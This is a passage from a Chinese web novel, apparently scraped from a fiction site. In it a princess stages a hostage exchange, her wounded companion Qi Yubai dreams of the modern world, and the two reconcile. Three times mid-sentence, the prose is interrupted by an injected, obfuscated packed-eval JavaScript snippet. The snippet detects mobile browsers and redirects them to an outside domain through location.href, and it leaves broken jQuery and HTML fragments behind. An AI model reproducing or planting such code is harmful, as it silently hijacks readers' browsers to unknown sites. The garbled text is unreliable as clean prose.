王麦将方向调转:“跟着我,我们换一个方向追。” 她阻止不了江小春的行为,只能想法设法减少她骑行的距离。 王麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567757|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带江小春去的,是一个荒无人烟的小山丘,那里可以看到大皇女离开的道路。 江小春勒马,在蜿蜒的道路上,她看到了大皇女一行人。 她鼓足一口气,喊道:“大皇女。” 坐在马车里缩低存在感的言昭离里隐隐约约听到有人在喊自己,她习武,耳朵要敏感些。 她探头,寻着声音望过去,眼里带了些喜悦:“你醒了?” “是,”江小春说,“臣听说今日大皇女就走了,特来恭送大皇女。” “多谢您对臣的指教,臣铭感五内,他日必当衔环以报。” “臣在此预祝大皇女此行一帆风顺。” 言昭离摆了摆手:“祝福我收下了,你刚醒来,快回去休息吧。” “另外,我在京城,很期待你的成长。” 等言昭离一行人都快消失在眼前,江小春仍站在原地,王麦挠了挠头,忍不住问道:“不是,小春,你刚才说什么?铭什么感,什么环的。” 江小春向她解释:“是铭感五内,衔环以报。” 王麦脑子更晕了:“这啥意思?”她家境贫寒,没学过读书写字。 “是指我对大皇女的帮助很是感激,我以后会报答大皇女的意思。”怕王麦不理解,江小春特地挑了个言简意赅的解释。 王麦领悟:“原来是这个意思,”她突然想起来一件事,“你是从书里学的?” 江小春点头,言昭离经常在军营里说起读书的重要性,她对言昭离佩服,自然会照着她说的话去做,于是,她频繁向唐校尉借书。 王麦:“那回头我也去学。”她要做一个有学识的校尉,就像唐校尉那样。 “好,我教你识字。” * 这边的言昭离,嘴角上的笑容就没下去过,她一时忘了避祁逾白的事,开始跟他分享:“老板,我发现,做好事就是会让人开心。” “我帮这里的百姓除了江段这个大患,江小春和无名也都报了仇,她们对我感激,甚至还送了我东西。” 言昭离来时就只有四五个鞍车,可回去的路上,却有十多个鞍车,全都是当地百姓送的谢礼。 她们的热情招待不住,言昭离只好收下,可更多的,她也产生了许多的忧愁:“好像在这个世界生活的久了,越能感觉到这个世界的真实,人是鲜活的,她们的情感也是丰富的,完全不能当做一个书中的世界对待。” “你会犹豫吗?”祁逾白问。 “不会,”言昭离回答的很迅速,就算这个世界有再多让人难以割舍的东西,她也不会忘了自己是哪个世界的。 “所以,在这个世界,无论你想帮助什么人,或者是想做什么事,只要无愧于心就好。” “老板,你真好。” 祁逾白的眼眸望向她,炙热且热烈,言昭离硬巴巴的补充道:“这么支持下属的老板可不多见。” “所以,还躲我吗?” 言昭离自从察觉到祁逾白暗藏的情绪,下意识的想避开。 她从未处理过感情上的事情,唯一有一点点苗头的还是相亲,但被突如其来的工作掐断,她不知道如何处理祁逾白对她的感情,更何况这人还是她的老板。 俗话说,办公室恋情不可有,她老实说,察觉到祁逾白的情愫时,第一念头是她要是拒绝了老板,会不会被开除。 要是跟老板谈了,最后以分手而告终,那两个人在公司抬头不见低头见的,不尴尬吗?她不会被开除吗? 她只能讪笑:“没有避开,只是老板,你有点太夸张了。” “自从受伤,你恨不得凡事替我代劳,让身为下属的我,心肝受不了啊。” 祁逾白叹气:“知道了,下次不会了。” 所以,不要再躲我了。 我会受不了的。 26. 第 26 章 来的时候是冬天,回去的日子却是在开春,路上的积雪微不可见,树上冒出一点点新的嫩叶。 如此生机勃勃的一切,却是藏匿着巨大的危险,言昭离这一路,并不太平,遭遇的刺杀比去的时候还要多上几倍。 她们并不执着于杀,而是抢夺言昭离手上的东西。 在得到那份名单的时候,言昭离就转交给了广安王,广安王当即对上面的官员展开逮捕,问出她们背后的人——章太守。 可章太守拒不承认,只说是被污蔑的,她与江段并无任何交集。 没有关键的证据,确实抓不了章太守,但广安王一向肆意,直接派人把章太守抓了。 抓到后却犯了难,言国律法,未有明确的证据,是不能对朝廷命官用刑的。 抓了章太守,已经是在律法的边缘上试探了。陷入僵局的时候,言昭离提到了一个人,章松卉,章太守就是再有玲珑之心,再聪慧,在这个唯一的女儿面前,也不可能一直伪装下去。 言昭离猜的没错,比起章太守这个老油条,章松卉被抓后,就吓得心惊胆战,她自小娇生惯养,从来没有见过这么大的场面,几乎把她知道的全交代了。 她说有一次见到过章太守和江段会面,两人交谈时,她就站在屏风后面,听到她们似乎说到什么贵人,但她离得太远,听不清人名。 有了章松卉大义灭亲的证词,章太守基本就已经定罪了,于是广安王开始对他严刑拷打。 势必要问出她口中的贵人。 章太守没抗住,一股脑全交代了,签字画押,由于她背后的人身份实在尊贵,这份证词,以及名单只能由言昭离亲自带回去,上交给言武帝。 自从被抓,背后的贵人就已经有了极不好的预感,一开始,她下的命令是杀了章太守,可看管章太守的人太多,她们的人硬是找不到下手的地方。 如今章太守已经认罪,言昭离手上的证词,是能扳倒她们的存在,她们必须得不顾一切的毁了那份证词。 言昭离再一次处理了刺杀的人,就听到手下的侍从急急来报:“大皇女,祁小郎不见了。” “怎么回事?” 行程劳累,他们在一处客栈落脚,言昭离带一部分人出去购买物资,祁逾白则留在客栈里。 “客栈里的人突然遭到十多个黑衣蒙面人的截杀,直到祁小郎被捉走才撤退,只留下了一份书信。” 言昭离拆开书信,上面眉飞凤舞的几个大字:想要他活命,明日卯时,带着证词,灌木林中见。 很显然,对方是有备而来。 灌木林,是附近的一片树林,地势复杂,很适合藏匿身形。 她眉心横跳,把书信揉搓成团,一字一字说道:“提前准备好。” “大皇女,此证词至关重要,万不可……”为了一个祁小郎交出去。 “是啊,大皇女,一定还有别的办法。” “我心里有数。” 见大皇女如此坚持,底下的人一个个唉声叹气,怎可如此昏庸。 躲在暗处的人见此情景,满意的离开,她穿过层层树林,最后来到一座山前,按动上面的凸起,山侧面的暗门缓缓打开。 暗门的通道很是狭窄,仅容许一人通过,里面潮湿又阴暗,只有微弱的火烛照耀着路,她循着烛光一路走去,眼前的视野逐渐变得开阔起来。 洞穴很大,还有一处泉眼,水很清澈,山洞里面阴湿,但一处有阳光照射,生长着不知名的野花,穴里面大概有四五十个人,最上面的人,坐在高位上。 祁逾白放置在另一处的榻上,上面铺着虎皮,他被人灌了迷药,至今还昏迷不醒。 “老大,大皇女很是看重这个男人的性命,尽管手下人一直劝阻,但她不听,坚持拿证词换人。” 被换做老大的女人身形比旁人要更瘦些,蒙住的脸看不清神色,但声音醇厚:“那就好,一定要好好看住那男人,不要让他跑了,也不要让他伤了。” “是。” * 卯时不到,言昭离就已在指定的地点等待。 卯时一到,黑衣人自动出现,她笑意吟吟的打招呼:“大皇女,久等了。” 黑衣人身后站着五六人,暗地里埋伏的还有三四十人,等黑衣人一拿到证词,她们就掩护她离开。 “他可好?” 言昭离仔细的观察祁逾白,他双眼被蒙住,手也绑了起来,除了衣服有些灰外,没有任何的外伤。 她放下心来,继续与黑衣人周旋。 “大皇女待祁小郎还真是情意绵绵啊,放心,祁小郎在我这里,完好无损。” “毕竟,我想要的东西在您的手上。” “时候也不早了,大皇女,还是赶紧把东西交给我吧。”她钳制住祁逾白的肩膀,把他往前推了一段距离,刀尖抵住祁逾白的后背:“早些把东西给我,我好早些把人放了。” 黑衣人下的迷药把控的刚刚好,祁逾白在天还未亮的时候醒来的。 言昭离举起手上的证词,章太守是在广安王的严刑拷打下招供的,这份证词在广安王看过后,也被封了起来,她没看过:“我怎么确保把证词交给你后,你就会放人呢?” “别废话,人在我手里。”她的意思是言昭离想要的人在她手里,是弱势方,根本没有商谈的机会。 见言昭离仍在犹豫,她咬紧牙关:“你还想要他活吗?”刀尖又前进了几分,隐隐压住祁逾白背后,“想要他活,就别那么多废话。” “不想要了。”言昭离突然拒绝,“本皇女最讨厌被人威胁,突然不想继续交易了。” “照我说的做,先……什么?”黑衣人说话猛的一扬,“你不想要他活了?!” “怎么可能,你不是一向最宠爱这男人吗?” 言昭离耸了耸肩:“突然想通了,要是把这证词带回去,还能立个大功,说不定能封王,一个男人而已,等本皇女封王后,养他上百个。” 黑衣人心里发急,但没想到祁逾白比她还急,他似乎很担心自己的小命真的不保:“妻主,可是奴做错了什么?不要把奴抛在这,奴害怕。”尾音轻颤,哪怕看不见那双入水的眸子,光凭声音,也能让人为之沉醉,想要把一切都奉献给他。 黑衣人为他打抱不平,像是看一个负心汉一样的看向言昭离:“是啊,他跟了你这么久,怎么能说抛弃就抛弃呢?” 言昭离语气淡薄:“男人如衣物,想弃就弃了,哪有那么多为什么。” “这这这……”黑衣人气结,说不出一句话来,这可怎么办,传言有误,大皇女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567758|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不重视这小郎,那她们怎么能拿回证词。 “妻主!”祁逾白说的很是凄厉,“既然你不仁,就休怪奴不义,奴可是知道你的一件事。” 言昭离肉眼可见的慌张:“你休的胡言。” “妻主把奴换回来,奴就不往外说。” 黑衣人的眼睛里的小火苗蹭的点亮,颇有些赞赏的看向祁逾白,没想到这小郎有几把刷子,这都能拿捏住大皇女,那她这任务,完成指日可待啊。 在黑衣人美滋滋的沉浸在自己即将得到的奖赏时,言昭离的一句话又扑灭她的希翼。 “那你等会死去,本皇女便不用担心你说出去了。” 黑衣人大喊:“在他死之前,我会让他说出那件事,然后找人大肆宣扬。” 祁逾白抿唇,同样威胁道:“对,我会说出来的。” “一旦说出来,妻主便会遭世人唾弃,入十八层地狱。” 他说的严重,黑衣人更好奇他口中的那件事,不过,现在最重要的事是取得证词。 言昭离思考良久,叹了口气:“那我还是跟你换,不过,我说过,我最讨厌威胁,既然要交易,也得按照我的规矩来。” “无名交给你证词,同时你也需要把他放了。”无名从言昭离的身后走了出来,他瘸了一条腿,行动颇为不便,且身形清瘦的异常,应该不是习武之人。 经过刚才的波折,黑衣人不想再生出事波,连忙答应,同时心里头也松了口气,这男子毫无威胁之意。 无名拿过言昭离手上的证词,一步步走向黑衣人,黑衣人钳制着祁逾白向前走,三人在只有六七步近的距离停下。 “停,举起证词转个圈,让我看个清楚。” 证词在无名的手上转了一圈,借着日光,黑衣人清楚的看到封皮上面的掌印,是广安王独有的,且封皮极为薄,能依稀的看到里面的大字——认罪书以及指控书,整份证词并未有人拆开的痕迹,这是真的。 “好,继续。” 双方开始交换,黑衣人将钳制住祁逾白的手收回,转向拿无名手中的证词,另一只手未有任何变化。 在黑衣人即将碰到证词时,无名突然收回,黑衣人扑了个空,眼中满是错愕,趁黑衣人分神的功夫,祁逾白猛的往身后一踹,自从黑衣人放了她钳制住祁逾白的手,两个人的距离就在不断缩大。 黑衣人疼的下意识捂住腹部,一时间松了对祁逾白的威胁。 祁逾白和无名同时往一个方向跑,无名跑的慢,毕竟他腿脚不利,谁知祁逾白跑的比他还慢些,祁逾白手上绑着绳子,且身体因为下多了迷药,有些无力,刚才踹黑衣人那一下,已经耗费了他许多的力气。 眼看两人马上就要被追上,言昭离大喊一声:“趴下。” 两人立马照做,一只箭矢划破半空,径自射向黑衣人,黑衣人刚才被戏耍了一番,警惕性猛的提高,反应迅速的避开。 接着,她掷出手上的匕首,朝着前面的那个身影射去,祁逾白跑的速度不快,且距离也不远,是完全能射中的。 祁逾白没有感觉到太多的疼痛,甚至是倒下的时候,他才知道自己被刺中了。 “祁逾白!” 耳边传来言昭离的声音,与最开始做戏的慌张不同,似乎多了一份绝望。 27. 第 27 章 箭落下的同时,黑衣人的人也跳了出来,但紧接着,又有更多人从草丛里冒了出来,是言昭离的人。 双方厮打在一起,黑衣人迅速的对场上的局势做了个判断,人数上,就出处于劣势,再打下去,恐怕她带的人都要折损在这里。 她咬牙:“撤。” 可言昭离哪会让她们如意,这场局,是故意安排的,她本身早就有所准备,更遑论祁逾白还受了伤,几乎同一时间,她下了命令:“杀光,但留那一人的性命。”那一人,指的是黑衣人。 黑衣人是这群人中最有话语权的,身份地位自然不低,留着她,说不定能为背后人的罪责增加一份。 她小心翼翼的抱起祁逾白,没再多待,如果连这都处理不好的话,那她这手下的一群人也算白养了。 祁逾白伤的是后背,一个血色的窟窿不断往外流着血。 回了客栈,她立马叫来了医官,医官诊断过后,道:“禀大皇女,伤口在后背处,很容易对后背脊梁造成伤害,极有可能导致瘫痪。” 言昭离的一口气提了上来,就听医官的话语一转:“索性祁小郎运气好,且伤口并不太深,只需要适当的疗养便可恢复。” 言昭离松了一口气,给医官提了个建议:“下次再说的时候,先说后半段。” “祁小郎何时能醒过来?” “最多不超过一个时辰。” 医官走后,言昭离待在房内,守着祁逾白醒来,她从未觉得一个时辰,有这么漫长,她突然想起翠鸣之前讲的,‘祁逾白在窗边看风景的时间长了些’,到底是看风景,还是心里担忧着人。 “你那时候,也是这样担忧的吗?” “你受伤的时候,我的心里一阵后怕,怕你就这样消失在这这个世界,那我在这个世界,就真的孤身一人了。” 除了后怕,内心似乎还多了一份说不清道不明的情绪。 言昭离坐在床边,托腮看着他:“祁逾白,早知道你会受伤,我应该坚决不同意的。” 这场局,是祁逾白提出的,他想要以绝后患,换的这场后半行程的安宁。言昭离一开始不同意,是祁逾白劝说的。 一炷香燃尽,可祁逾白没有丝毫醒过来的迹象,反而面色更加苍白,全身冒着冷汗,言昭离内心焦灼,又把医官召了过来。 “他为何还没醒来。” 医官皱着眉头,仔细勘察了一番:“祁小郎似是梦魇住了。” “梦魇?” “对,容臣给祁小郎开幅安神药,再扎上几根,一夜过后,应当无事。” “照做吧。” “是。” 一通治疗下去,祁逾白果然好上了许多,不再冒冷汗,但面色还是苍白。 昏迷中的祁逾白,只觉得自己坠入了一片深海之中,四周都是水,他呼吸不上来,意识逐渐消沉,脑海里突然有一个念头,他要活下来,还有人在等着他。 他鼓足劲,向上游去,眼前天光大亮,消毒水的气味在鼻息间蔓延。 睁开眼,白色的天花板,桌上放着一束百合花,旁边的呼吸机还在‘嘀嗒’‘嘀嗒’响着,他摘了氧气面罩,呼吸机发出急促的‘嘀’的声音,很是刺耳。 “祁总醒了,快去叫医生。” “祁总,现在感觉怎么样?” 祁逾白挣扎着要起身,许久未说话,嗓子有些沙哑:“我这是怎么了?” “劳累过度,在办公室昏倒,被送来医院,已经昏迷了五天了。”祁逾白身边的张总助言简意赅的概括。 祁逾白脑中的记忆混杂,不时的闪过几个词,穿书,女尊,与之而来的还有几个画面,这些画面似乎都是跟一个女人相关,他迅速的捕捉到其中的名字。 “言昭离。” “祁总,您说什么?” “言秘书呢?她醒来没有。”他记得那个女人的身份好像是他的秘书。 谁知张总助疑惑:“言秘书?祁总,公司里没有这个人。” “没有,没有吗?”一向冷静自持的祁逾白面上闪过几丝茫然,没有这个人吗?是他记忆错乱了吗? 祁逾白醒来后,休息了一天,就出院工作了,他昏迷的几天,公司发生了不少的事情,现在的时间线,正好是他才接手公司没多久,那群老古板并不服他,想趁着他不在,多掌控公司。 回到公司的祁逾白,以雷霆手段镇压了那些蠢蠢欲动的人,处理完这些闹剧后,随之而来的,是接踵而至的情绪。 不知道怎的,他的内心总是空落落的,似乎遗忘了什么人和事。 “张总助,公司最近招人了吗?” “正值毕业季,公司招了不少人。”张总助觉得奇怪,祁总可从来不会过问这些。 “都是哪几个部门招人了,我去看看。” “策划部、企宣部……” 祁逾白根据张总助说的,一个个去看了,可又失望而归,他也不知道在期待着什么,总感觉会遇到一个人。 一个奇奇怪怪,脑海里的想法时不时跳脱,表面怂怂的内心吐槽,性格直率,善良的人。 转了一圈,没找到想找的人,祁逾白问:“还有新招的人吗?” “没有招的人了,但今天有三个来复试的。”张总助想起几天前祁逾白问的人,试探出声,“其中一个人姓言。” 他话音刚落,就见祁逾白跨步向前,走向面试的地方。 可,张总助剩下的话咽在喉咙里:“名不是,且还是个男的。”大概不是祁总要找的人。 祁逾白来的突然,在场的所有人都变得紧张起来,一个小小的复试,值得公司的CEO亲自面临吗?! “祁总来是?”总面试官悄悄问张总助。 “不用紧张,照常进行,祁总只是来看看你们面试的怎么样。” “是。”他们的面试继续。 “请下一位面试者进来。” 直到面试结束,也没找到自己想找的人,祁逾白不由得丧气,张总助见状,道:“祁总,我查了名叫言昭离的人,A市没有,甚至全国都没有。”这是为了补充他刚才没说明白的错误。 这就是个很奇怪的点,A市没有叫这个名字的也就罢了,可全国也没有,要知道,全国有十四亿人,就算胡诌一个名字,也可能搜到的。 这种情况,就像这个世界抹除了这个人的存在一样。 祁逾白陷入了沉思,明明那些画面鲜活生动,好像就是真实发生的一样,可现实是,没有这个人,他捂住胸口,内心的想法逐渐变得坚定起来。 不,就算记忆会出错,可情感也会告诉他答案,他的这颗心,真真切切的为一个人跳动过。 他要回到有她的世界去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567759|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>脑海里的想法逐渐清晰,整座大楼在坍塌,天边的太阳在坠落,一切都在分崩离析,巨大的声响在耳边响起,可祁逾白只能听见一个熟悉的声音。 “祁逾白。” “祁逾白,你醒醒。” 这道声音,指引着他逐渐忘光明处走去。 言昭离拿着湿的面巾轻轻擦拭祁逾白额头上冒出的汗,见他眉头骤然皱起,不知道他到底梦到了什么,只能唤他。 “言昭离!”他睁开眼。 熟悉的人就坐在床边,祁逾白起身,环保住言昭离。 他抱的极紧,言昭离猛的被抱住,有些无措,拿着面巾的手还悬在半空。 屋里的蜡烛还在燃着,冒出一丝一缕的烟,微弱的烛火将两人的身影映照在窗纸上,外面似是刮起了大风,‘啪’的一下把支撑着的窗棂刮倒,屋外的月色怡人,可却无一人欣赏。 “我找不到你。”祁逾白低落的声音在耳边响起,他似乎还沉浸在刚才的梦中。 言昭离怕碰到他的伤口,轻轻回抱住,安慰他:“我就在这。” “你现在找到我了。” “我不会离开的。” 祁逾白微不可见的‘嗯’了一声,不知道是不是错觉,言昭离总感觉这声‘嗯’里,透着一股委屈。 抱了良久,言昭离只感觉手中刚才还温热的面巾,都已经冷了,祁逾白还未撒手。 这个怀抱,最后以言昭离发现祁逾白身上的伤口渗出鲜血结束。 扯开祁逾白的衣服,她一边上药,一边骂道:“还受着伤,动作那么大干什么。” “伤口还想不想好了。” 祁逾白一言不发,由着她上药。 等一切都做好了,言昭离才反应过来,总感觉有那里不对劲,身份好像又对调了,她也是厉害了,竟然能骂上老板。 祁逾白更不对劲,到底做了什么梦,后遗症那么大? 闺蜜曾经跟言昭离分析过祁逾白,讲他外表冷酷无情,但一旦喜欢上一个人,绝对会有不一样的一面,就比如,反差萌。 当时的言昭离半信半疑,半信是因为闺蜜看男人的眼神一向很准,半疑的是,老板这么一个冷酷无情的人,能喜欢上旁人。 这种不信,就像身边一个寡王朋友,有一天突然告诉你他结婚了。 不过,言昭离摩挲着下巴,祁逾白这么呆的一面,确实很不一样。 这要是不好好蹂砺一番,岂不可惜了。 趁着祁逾白脑子不清醒,言昭离试探问道:“祁逾白?” “嗯?” “回去后,你能给我升职加薪吗?” “能。” “那你答应我,以后不许受伤。” “好。” “那以后都听我的话,我让你往东,你不许往西,我让你往西,你不能往东。” “好。” “那我再娶几个男人。” 祁逾白沉默,旋即恶狠狠说道:“一个都不许。” “我又不是你的,你也管不着我。”这么呆萌的祁逾白可不多见,言昭离有心逗他。 “不、许,要是敢这么做,我就扣你奖金,罚你工资。” 很好,精准的掐到言昭离的命脉,她认输:“好好好,我不娶别人,只娶你。” “嗯。”祁逾白满意的点头。